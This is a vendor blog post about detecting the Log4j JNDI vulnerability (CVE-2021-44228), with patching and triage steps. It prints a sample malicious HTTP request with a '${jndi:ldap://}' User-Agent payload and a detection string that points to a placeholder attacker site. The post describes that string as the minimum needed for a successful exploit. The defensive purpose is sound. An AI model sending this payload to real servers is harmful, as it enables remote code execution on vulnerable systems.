Join Us at Our Upcoming Events Events
Skip to Main Content

How to Detect Log4J Vulnerability

CVE-2021-44228 Apache Log4j


Apache Log4j2 <=2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. Examples of a legitimate JNDI lookup vs. a malicious JNDI lookup are below:

Legitimate JNDI lookup string:


Malicious JNDI lookup string:


User-Agent Field in HTTP Request:

GET / HTTP/1.1..Host: [System IP]..User-Agent: /${jndi:ldap://}..Accept: */*..Accept-Encoding: gzip…. HTTP/1.1 503 Service Unavailable..Content-Type: text/html; charset=UTF-8..Content-Length: 1011..Connection: close..P3P: CP=”CAO PSA OUR”..Expires: Thu, 01 Jan 1970 00:00:00 GMT..Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0

Action Items

  1. Enumerate any external-facing devices that have log4j installed.
    1. You may identify Log4j exploits by looking for the string “${jndi:ldap://[attacker_site]/a}” in the HTML User-Agent field of HTML transactions (look at the complete HTML request for the pattern).The example above includes the minimum string required to exploit the vulnerability successfully.ThreatEye flow sensors natively capture this buffer supporting forensic searching for any occurrence as far back as data retention is configured.
    2. Mitigation: Upgrade or patch the software at risk and continue to search through web request logs.
  2. Once devices have been identified it is key here to differentiate between whether the alerts exhibit “victim” behavior [meaning the system is at risk of being exploited] or “bad actor” behavior [meaning there are signs of active compromise of the system].
    1. Victimized Systems – patch impacted software to latest version provided by vendor. Impacted vendor list is included below under Additional Resources.
    2. Bad Actor Behavior – You may observe widespread scanning via HTTP attempting to exploit this vulnerability, some of which does not appear to be targeting specific applications [See HTTP request Header above].

ThreatEye in the Field

The ThreatEye Team is actively taking steps to simplify the discovery process of this vulnerability by creating new machine learning analyzers that automatically identify vulnerable assets, detect pre-exploitation events such as widespread scanning and active exploitation that can be identified as demonstrated above in the HTTP Request Header. The ThreatEye Team is also actively working to monitor and detect post-exploitation events [which as of the time of writing this article has not been observed in the wild] that could be generated by attacker tools such as Cobalt Strike Beacon. For ThreatEye customer, these analyzers will produce findings that you can review with the label: log4j.

Additional Resources

IOC List

Vendor List